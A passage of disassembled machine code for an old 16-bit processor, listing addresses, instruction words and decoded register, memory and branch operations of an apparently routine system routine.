0x017E (0x0002FC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x017F (0x0002FE) 0x2939- f:00024 d: 313 | OR[313] = A
0x0180 (0x000300) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x0181 (0x000302) 0x5800- f:00054 d: 0 | B = A
0x0182 (0x000304) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0183 (0x000306) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0184 (0x000308) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0185 (0x00030A) 0x292A- f:00024 d: 298 | OR[298] = A
0x0186 (0x00030C) 0x7A03-0x0314 f:00075 d: 3 | P = OR[3]+788 (0x0314)
0x0188 (0x000310) 0x7032- f:00070 d: 50 | P = P + 50 (0x01BA)
0x0189 (0x000312) 0x211C- f:00020 d: 284 | A = OR[284]
0x018A (0x000314) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x018B (0x000316) 0x2908- f:00024 d: 264 | OR[264] = A
0x018C (0x000318) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x018D (0x00031A) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x018E (0x00031C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0190), A = 0
0x018F (0x00031E) 0x702B- f:00070 d: 43 | P = P + 43 (0x01BA)
0x0190 (0x000320) 0x212E- f:00020 d: 302 | A = OR[302]
0x0191 (0x000322) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0192 (0x000324) 0x8002- f:00100 d: 2 | P = P + 2 (0x0194), C = 0
0x0193 (0x000326) 0x7004- f:00070 d: 4 | P = P + 4 (0x0197)
0x0194 (0x000328) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0195 (0x00032A) 0x292E- f:00024 d: 302 | OR[302] = A
0x0196 (0x00032C) 0x7024- f:00070 d: 36 | P = P + 36 (0x01BA)
0x0197 (0x00032E) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x0198 (0x000330) 0x2934- f:00024 d: 308 | OR[308] = A
0x0199 (0x000332) 0x2123- f:00020 d: 291 | A = OR[291]
0x019A (0x000334) 0x2935- f:00024 d: 309 | OR[309] = A
0x019B (0x000336) 0x2124- f:00020 d: 292 | A = OR[292]
0x019C (0x000338) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x019D (0x00033A) 0x2936- f:00024 d: 310 | OR[310] = A
0x019E (0x00033C) 0x211C- f:00020 d: 284 | A = OR[284]
0x019F (0x00033E) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x01A0 (0x000340) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01A1 (0x000342) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x01A2 (0x000344) 0x2937- f:00024 d: 311 | OR[311] = A
0x01A3 (0x000346) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x01A4 (0x000348) 0x2938- f:00024 d: 312 | OR[312] = A
0x01A5 (0x00034A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01A6 (0x00034C) 0x2939- f:00024 d: 313 | OR[313] = A
0x01A7 (0x00034E) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x01A8 (0x000350) 0x5800- f:00054 d: 0 | B = A
0x01A9 (0x000352) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01AA (0x000354) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01AB (0x000356) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x01AC (0x000358) 0x2B25- f:00025 d: 293 | OR[293] = A + OR[293]
0x01AD (0x00035A) 0x2125- f:00020 d: 293 | A = OR[293]
0x01AE (0x00035C) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x01AF (0x00035E) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B0 (0x000360) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01B1 (0x000362) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01B2 (0x000364) 0x8602- f:00103 d: 2 | P = P + 2 (0x01B4), A # 0
0x01B3 (0x000366) 0x7007- f:00070 d: 7 | P = P + 7 (0x01BA)
0x01B4 (0x000368) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01B5 (0x00036A) 0x2925- f:00024 d: 293 | OR[293] = A
0x01B6 (0x00036C) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x01B7 (0x00036E) 0x292A- f:00024 d: 298 | OR[298] = A
0x01B8 (0x000370) 0x7A03-0x0314 f:00075 d: 3 | P = OR[3]+788 (0x0314)
0x01BA (0x000374) 0x2129- f:00020 d: 297 | A = OR[297]
0x01BB (0x000376) 0x8D6E- f:00106 d: 366 | P = P - 366 (0x004D), A = 0
0x01BC (0x000378) 0x2129- f:00020 d: 297 | A = OR[297]
0x01BD (0x00037A) 0x291D- f:00024 d: 285 | OR[285] = A
0x01BE (0x00037C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01BF (0x00037E) 0x2929- f:00024 d: 297 | OR[297] = A
0x01C0 (0x000380) 0x72C5- f:00071 d: 197 | P = P - 197 (0x00FB)
0x01C1 (0x000382) 0x2118- f:00020 d: 280 | A = OR[280]
0x01C2 (0x000384) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x01C3 (0x000386) 0x2908- f:00024 d: 264 | OR[264] = A
0x01C4 (0x000388) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01C5 (0x00038A) 0x291E- f:00024 d: 286 | OR[286] = A
0x01C6 (0x00038C) 0x211E- f:00020 d: 286 | A = OR[286]
0x01C7 (0x00038E) 0x8602- f:00103 d: 2 | P = P + 2 (0x01C9), A # 0
0x01C8 (0x000390) 0x700E- f:00070 d: 14 | P = P + 14 (0x01D6)
0x01C9 (0x000392) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x01CA (0x000394) 0x2727- f:00023 d: 295 | A = A - OR[295]
0x01CB (0x000396) 0x8002- f:00100 d: 2 | P = P + 2 (0x01CD), C = 0
0x01CC (0x000398) 0x7009- f:00070 d: 9 | P = P + 9 (0x01D5)
0x01CD (0x00039A) 0x2127- f:00020 d: 295 | A = OR[295]
0x01CE (0x00039C) 0x141E- f:00012 d: 30 | A = A + 30 (0x001E)
0x01CF (0x00039E) 0x291D- f:00024 d: 285 | OR[285] = A
0x01D0 (0x0003A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01D1 (0x0003A2) 0x2927- f:00024 d: 295 | OR[295] = A
0x01D2 (0x0003A4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01D3 (0x0003A6) 0x2928- f:00024 d: 296 | OR[296] = A
0x01D4 (0x0003A8) 0x72D9- f:00071 d: 217 | P = P - 217 (0x00FB)
0x01D5 (0x0003AA) 0x7003- f:00070 d: 3 | P = P + 3 (0x01D8)
0x01D6 (0x0003AC) 0x7A03-0x0314 f:00075 d: 3 | P = OR[3]+788 (0x0314)
0x01D8 (0x0003B0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01D9 (0x0003B2) 0x2927- f:00024 d: 295 | OR[295] = A
0x01DA (0x0003B4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01DB (0x0003B6) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x01DC (0x0003B8) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x01DD (0x0003BA) 0x2928- f:00024 d: 296 | OR[296] = A
0x01DE (0x0003BC) 0x2128- f:00020 d: 296 | A = OR[296]
0x01DF (0x0003BE) 0x8602- f:00103 d: 2 | P = P + 2 (0x01E1), A # 0
0x01E0 (0x0003C0) 0x7016- f:00070 d: 22 | P = P + 22 (0x01F6)
0x01E1 (0x0003C2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01E2 (0x0003C4) 0x3931- f:00034 d: 305 | (OR[305]) = A
0x01E3 (0x0003C6) 0x2131- f:00020 d: 305 | A = OR[305]
0x01E4 (0x0003C8) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01E5 (0x0003CA) 0x2908- f:00024 d: 264 | OR[264] = A
0x01E6 (0x0003CC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01E7 (0x0003CE) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01E8 (0x0003D0) 0x2131- f:00020 d: 305 | A = OR[305]
0x01E9 (0x0003D2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01EA (0x0003D4) 0x2908- f:00024 d: 264 | OR[264] = A
0x01EB (0x0003D6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01EC (0x0003D8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01ED (0x0003DA) 0x2131- f:00020 d: 305 | A = OR[305]
0x01EE (0x0003DC) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x01EF (0x0003DE) 0x2908- f:00024 d: 264 | OR[264] = A
0x01F0 (0x0003E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01F1 (0x0003E2) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01F2 (0x0003E4) 0x2128- f:00020 d: 296 | A = OR[296]
0x01F3 (0x0003E6) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x01F4 (0x0003E8) 0x2932- f:00024 d: 306 | OR[306] = A
0x01F5 (0x0003EA) 0x73A8- f:00071 d: 424 | P = P - 424 (0x004D)
0x01F6 (0x0003EC) 0x211C- f:00020 d: 284 | A = OR[284]
0x01F7 (0x0003EE) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x01F9 (0x0003F2) 0x2908- f:00024 d: 264 | OR[264] = A
0x01FA (0x0003F4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01FB (0x0003F6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01FC (0x0003F8) 0xBC03-0x026E f:00136 d: 3 | R = OR[3]+622 (0x026E), A = 0
0x01FE (0x0003FC) 0x2118- f:00020 d: 280 | A = OR[280]
0x01FF (0x0003FE) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F)
0x0200 (0x000400) 0x2908- f:00024 d: 264 | OR[264] = A
0x0201 (0x000402) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0202 (0x000404) 0x291F- f:00024 d: 287 | OR[287] = A
0x0203 (0x000406) 0x2118- f:00020 d: 280 | A = OR[280]
0x0204 (0x000408) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0205 (0x00040A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0206 (0x00040C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0207 (0x00040E) 0x2920- f:00024 d: 288 | OR[288] = A
0x0208 (0x000410) 0x2118- f:00020 d: 280 | A = OR[280]
0x0209 (0x000412) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x020A (0x000414) 0x2908- f:00024 d: 264 | OR[264] = A
0x020B (0x000416) 0x3108- f:00030 d: 264 | A = (OR[264])
0x020C (0x000418) 0x292B- f:00024 d: 299 | OR[299] = A
0x020D (0x00041A) 0x211F- f:00020 d: 287 | A = OR[287]
0x020E (0x00041C) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x020F (0x00041E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0210 (0x000420) 0x2131- f:00020 d: 305 | A = OR[305]
0x0211 (0x000422) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0212 (0x000424) 0x2908- f:00024 d: 264 | OR[264] = A
0x0213 (0x000426) 0x2120- f:00020 d: 288 | A = OR[288]
0x0214 (0x000428) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0215 (0x00042A) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0216 (0x00042C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0217 (0x00042E) 0x2120- f:00020 d: 288 | A = OR[288]
0x0218 (0x000430) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x0219 (0x000432) 0x290D- f:00024 d: 269 | OR[269] = A
0x021A (0x000434) 0x2131- f:00020 d: 305 | A = OR[305]
0x021B (0x000436) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x021C (0x000438) 0x2908- f:00024 d: 264 | OR[264] = A
0x021D (0x00043A) 0x212B- f:00020 d: 299 | A = OR[299]
0x021E (0x00043C) 0x0807- f:00004 d: 7 | A = A > 7 (0x0007)
0x021F (0x00043E) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0220 (0x000440) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0221 (0x000442) 0x2131- f:00020 d: 305 | A = OR[305]
0x0222 (0x000444) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0223 (0x000446) 0x2908- f:00024 d: 264 | OR[264] = A
0x0224 (0x000448) 0x212B- f:00020 d: 299 | A = OR[299]
0x0225 (0x00044A) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0226 (0x00044C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0227 (0x00044E) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0228 (0x000450) 0x2928- f:00024 d: 296 | OR[296] = A
0x0229 (0x000452) 0x211E- f:00020 d: 286 | A = OR[286]
0x022A (0x000454) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x022B (0x000456) 0x8402- f:00102 d: 2 | P = P + 2 (0x022D), A = 0
0x022C (0x000458) 0x700B- f:00070 d: 11 | P = P + 11 (0x0237)
0x022D (0x00045A) 0x1800-0x8000 f:00014 d: 0 | A = 32768 (0x8000)
0x022F (0x00045E) 0x2532- f:00022 d: 306 | A = A + OR[306]
0x0230 (0x000460) 0x3931- f:00034 d: 305 | (OR[305]) = A
0x0231 (0x000462) 0x2118- f:00020 d: 280 | A = OR[280]
0x0232 (0x000464) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x0233 (0x000466) 0x2908- f:00024 d: 264 | OR[264] = A
0x0234 (0x000468) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0235 (0x00046A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0236 (0x00046C) 0x7025- f:00070 d: 37 | P = P + 37 (0x025B)
0x0237 (0x00046E) 0x211E- f:00020 d: 286 | A = OR[286]
0x0238 (0x000470) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0239 (0x000472) 0x8402- f:00102 d: 2 | P = P + 2 (0x023B), A = 0
0x023A (0x000474) 0x7015- f:00070 d: 21 | P = P + 21 (0x024F)
0x023B (0x000476) 0x1800-0xE000 f:00014 d: 0 | A = 57344 (0xE000)
0x023D (0x00047A) 0x2532- f:00022 d: 306 | A = A + OR[306]
0x023E (0x00047C) 0x3931- f:00034 d: 305 | (OR[305]) = A
0x023F (0x00047E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0240 (0x000480) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F)
0x0241 (0x000482) 0x2908- f:00024 d: 264 | OR[264] = A
0x0242 (0x000484) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0243 (0x000486) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0244 (0x000488) 0x2118- f:00020 d: 280 | A = OR[280]
0x0245 (0x00048A) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0246 (0x00048C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0247 (0x00048E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0248 (0x000490) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0249 (0x000492) 0x2118- f:00020 d: 280 | A = OR[280]
0x024A (0x000494) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x024B (0x000496) 0x2908- f:00024 d: 264 | OR[264] = A
0x024C (0x000498) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x024D (0x00049A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x024E (0x00049C) 0x700D- f:00070 d: 13 | P = P + 13 (0x025B)
0x024F (0x00049E) 0x211E- f:00020 d: 286 | A = OR[286]
0x0250 (0x0004A0) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0251 (0x0004A2) 0x8402- f:00102 d: 2 | P = P + 2 (0x0253), A = 0
0x0252 (0x0004A4) 0x7008- f:00070 d: 8 | P = P + 8 (0x025A)
0x0253 (0x0004A6) 0x1800-0xF000 f:00014 d: 0 | A = 61440 (0xF000)
0x0255 (0x0004AA) 0x2532- f:00022 d: 306 | A = A + OR[306]
0x0256 (0x0004AC) 0x3931- f:00034 d: 305 | (OR[305]) = A
0x0257 (0x0004AE) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0258 (0x0004B0) 0x292E- f:00024 d: 302 | OR[302] = A
0x0259 (0x0004B2) 0x7002- f:00070 d: 2 | P = P + 2 (0x025B)
0x025A (0x0004B4) 0x70B2- f:00070 d: 178 | P = P + 178 (0x030C)
0x025B (0x0004B6) 0x746B- f:00072 d: 107 | R = P + 107 (0x02C6)
0x025C (0x0004B8) 0x211C- f:00020 d: 284 | A = OR[284]
0x025D (0x0004BA) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x025E (0x0004BC) 0x292C- f:00024 d: 300 | OR[300] = A
0x025F (0x0004BE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0260 (0x0004C0) 0x2932- f:00024 d: 306 | OR[306] = A
0x0261 (0x0004C2) 0x2118- f:00020 d: 280 | A = OR[280]
0x0262 (0x0004C4) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0263 (0x0004C6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0264 (0x0004C8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0265 (0x0004CA) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0266 (0x0004CC) 0x7A03-0x0053 f:00075 d: 3 | P = OR[3]+83 (0x0053)
0x0268 (0x0004D0) 0x212E- f:00020 d: 302 | A = OR[302]
0x0269 (0x0004D2) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x026A (0x0004D4) 0x8602- f:00103 d: 2 | P = P + 2 (0x026C), A # 0
0x026B (0x0004D6) 0x7058- f:00070 d: 88 | P = P + 88 (0x02C3)
0x026C (0x0004D8) 0x2118- f:00020 d: 280 | A = OR[280]
0x026D (0x0004DA) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x026E (0x0004DC) 0x2908- f:00024 d: 264 | OR[264] = A
0x026F (0x0004DE) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0270 (0x0004E0) 0x2919- f:00024 d: 281 | OR[281] = A
0x0271 (0x0004E2) 0x2118- f:00020 d: 280 | A = OR[280]
0x0272 (0x0004E4) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x0273 (0x0004E6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0274 (0x0004E8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0275 (0x0004EA) 0x291A- f:00024 d: 282 | OR[282] = A
0x0276 (0x0004EC) 0x2125- f:00020 d: 293 | A = OR[293]
0x0277 (0x0004EE) 0x8602- f:00103 d: 2 | P = P + 2 (0x0279), A # 0
0x0278 (0x0004F0) 0x7031- f:00070 d: 49 | P = P + 49 (0x02A9)
0x0279 (0x0004F2) 0x2118- f:00020 d: 280 | A = OR[280]
0x027A (0x0004F4) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F)
0x027B (0x0004F6) 0x2908- f:00024 d: 264 | OR[264] = A
0x027C (0x0004F8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x027D (0x0004FA) 0x291F- f:00024 d: 287 | OR[287] = A
0x027E (0x0004FC) 0x2118- f:00020 d: 280 | A = OR[280]
0x027F (0x0004FE) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x0280 (0x000500) 0x2908- f:00024 d: 264 | OR[264] = A
0x0281 (0x000502) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0282 (0x000504) 0x2920- f:00024 d: 288 | OR[288] = A
0x0283 (0x000506) 0x2118- f:00020 d: 280 | A = OR[280]
0x0284 (0x000508) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x0285 (0x00050A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0286 (0x00050C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0287 (0x00050E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0288 (0x000510) 0x2D1A- f:00026 d: 282 | OR[282] = OR[282] + 1
0x0289 (0x000512) 0x8002- f:00100 d: 2 | P = P + 2 (0x028B), C = 0
0x028A (0x000514) 0x2D19- f:00026 d: 281 | OR[281] = OR[281] + 1
0x028B (0x000516) 0x2D20- f:00026 d: 288 | OR[288] = OR[288] + 1
0x028C (0x000518) 0x8002- f:00100 d: 2 | P = P + 2 (0x028E), C = 0
0x028D (0x00051A) 0x2D1F- f:00026 d: 287 | OR[287] = OR[287] + 1
0x028E (0x00051C) 0x2D2B- f:00026 d: 299 | OR[299] = OR[299] + 1
0x028F (0x00051E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0290 (0x000520) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x0291 (0x000522) 0x2908- f:00024 d: 264 | OR[264] = A
0x0292 (0x000524) 0x2119- f:00020 d: 281 | A = OR[281]
0x0293 (0x000526) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0294 (0x000528) 0x2118- f:00020 d: 280 | A = OR[280]
0x0295 (0x00052A) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x0296 (0x00052C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0297 (0x00052E) 0x211A- f:00020 d: 282 | A = OR[282]
0x0298 (0x000530) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0299 (0x000532) 0x2118- f:00020 d: 280 | A = OR[280]
0x029A (0x000534) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F)
0x029B (0x000536) 0x2908- f:00024 d: 264 | OR[264] = A
0x029C (0x000538) 0x211F- f:00020 d: 287 | A = OR[287]
0x029D (0x00053A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x029E (0x00053C) 0x2118- f:00020 d: 280 | A = OR[280]
0x029F (0x00053E) 0x1410- f:00012 d: 16 | A = A + 16 (0x0010)
0x02A0 (0x000540) 0x2908- f:00024 d: 264 | OR[264] = A
0x02A1 (0x000542) 0x2120- f:00020 d: 288 | A = OR[288]
0x02A2 (0x000544) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02A3 (0x000546) 0x2118- f:00020 d: 280 | A = OR[280]
0x02A4 (0x000548) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011)
0x02A5 (0x00054A) 0x2908- f:00024 d: 264 | OR[264] = A
0x02A6 (0x00054C) 0x212B- f:00020 d: 299 | A = OR[299]
0x02A7 (0x00054E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02A8 (0x000550) 0x741E- f:00072 d: 30 | R = P + 30 (0x02C6)
0x02A9 (0x000552) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02AA (0x000554) 0x391B- f:00034 d: 283 | (OR[283]) = A
0x02AB (0x000556) 0x211B- f:00020 d: 283 | A = OR[283]
0x02AC (0x000558) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x02AD (0x00055A) 0x2908- f:00024 d: 264 | OR[264] = A
0x02AE (0x00055C) 0x2119- f:00020 d: 281 | A = OR[281]
0x02AF (0x00055E) 0x0807- f:00004 d: 7 | A = A > 7 (0x0007)
0x02B0 (0x000560) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02B1 (0x000562) 0x2119- f:00020 d: 281 | A = OR[281]
0x02B2 (0x000564) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x02B3 (0x000566) 0x290D- f:00024 d: 269 | OR[269] = A
0x02B4 (0x000568) 0x211B- f:00020 d: 283 | A = OR[283]
0x02B5 (0x00056A) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x02B6 (0x00056C) 0x2908- f:00024 d: 264 | OR[264] = A
0x02B7 (0x00056E) 0x211A- f:00020 d: 282 | A = OR[282]
0x02B8 (0x000570) 0x0807- f:00004 d: 7 | A = A > 7 (0x0007)
0x02B9 (0x000572) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x02BA (0x000574) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02BB (0x000576) 0x211B- f:00020 d: 283 | A = OR[283]
0x02BC (0x000578) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x02BD (0x00057A) 0x2908- f:00024 d: 264 | OR[264] = A
0x02BE (0x00057C) 0x211A- f:00020 d: 282 | A = OR[282]
0x02BF (0x00057E) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x02C0 (0x000580) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x02C1 (0x000582) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02C2 (0x000584) 0x292C- f:00024 d: 300 | OR[300] = A
0x02C3 (0x000586) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x02C4 (0x000588) 0x291C- f:00024 d: 284 | OR[284] = A
0x02C5 (0x00058A) 0x0200- f:00001 d: 0 | EXIT
0x02C6 (0x00058C) 0x211C- f:00020 d: 284 | A = OR[284]
0x02C7 (0x00058E) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x02C8 (0x000590) 0x272C- f:00023 d: 300 | A = A - OR[300]
0x02C9 (0x000592) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x02CA (0x000594) 0x2921- f:00024 d: 289 | OR[289] = A
0x02CB (0x000596) 0x212C- f:00020 d: 300 | A = OR[300]
0x02CC (0x000598) 0x2725- f:00023 d: 293 | A = A - OR[293]
0x02CD (0x00059A) 0x8209- f:00101 d: 9 | P = P + 9 (0x02D6), C = 1
0x02CE (0x00059C) 0x211C- f:00020 d: 284 | A = OR[284]
0x02CF (0x00059E) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x02D0 (0x0005A0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x02D1 (0x0005A2) 0x2908- f:00024 d: 264 | OR[264] = A
0x02D2 (0x0005A4) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x02D3 (0x0005A6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x02D4 (0x0005A8) 0x8202- f:00101 d: 2 | P = P + 2 (0x02D6), C = 1
0x02D5 (0x0005AA) 0x700B- f:00070 d: 11 | P = P + 11 (0x02E0)
0x02D6 (0x0005AC) 0x212C- f:00020 d: 300 | A = OR[300]
0x02D7 (0x0005AE) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x02D8 (0x0005B0) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x02D9 (0x0005B2) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x02DA (0x0005B4) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x02DB (0x0005B6) 0x290D- f:00024 d: 269 | OR[269] = A
0x02DC (0x0005B8) 0x310D- f:00030 d: 269 | A = (OR[269])
0x02DD (0x0005BA) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x02DE (0x0005BC) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x02DF (0x0005BE) 0x702C- f:00070 d: 44 | P = P + 44 (0x030B)
0x02E0 (0x0005C0) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x02E1 (0x0005C2) 0x2934- f:00024 d: 308 | OR[308] = A
0x02E2 (0x0005C4) 0x2123- f:00020 d: 291 | A = OR[291]
0x02E3 (0x0005C6) 0x2935- f:00024 d: 309 | OR[309] = A
0x02E4 (0x0005C8) 0x2124- f:00020 d: 292 | A = OR[292]
0x02E5 (0x0005CA) 0x252C- f:00022 d: 300 | A = A + OR[300]
0x02E6 (0x0005CC) 0x2936- f:00024 d: 310 | OR[310] = A
0x02E7 (0x0005CE) 0x2118- f:00020 d: 280 | A = OR[280]
0x02E8 (0x0005D0) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x02E9 (0x0005D2) 0x2937- f:00024 d: 311 | OR[311] = A
0x02EA (0x0005D4) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x02EB (0x0005D6) 0x2938- f:00024 d: 312 | OR[312] = A
0x02EC (0x0005D8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02ED (0x0005DA) 0x2939- f:00024 d: 313 | OR[313] = A
0x02EE (0x0005DC) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x02EF (0x0005DE) 0x5800- f:00054 d: 0 | B = A
0x02F0 (0x0005E0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x02F1 (0x0005E2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x02F2 (0x0005E4) 0x2118- f:00020 d: 280 | A = OR[280]
0x02F3 (0x0005E6) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x02F4 (0x0005E8) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x02F5 (0x0005EA) 0x290D- f:00024 d: 269 | OR[269] = A
0x02F6 (0x0005EC) 0x310D- f:00030 d: 269 | A = (OR[269])
0x02F7 (0x0005EE) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x02F8 (0x0005F0) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x02F9 (0x0005F2) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x02FA (0x0005F4) 0x2934- f:00024 d: 308 | OR[308] = A
0x02FB (0x0005F6) 0x2123- f:00020 d: 291 | A = OR[291]
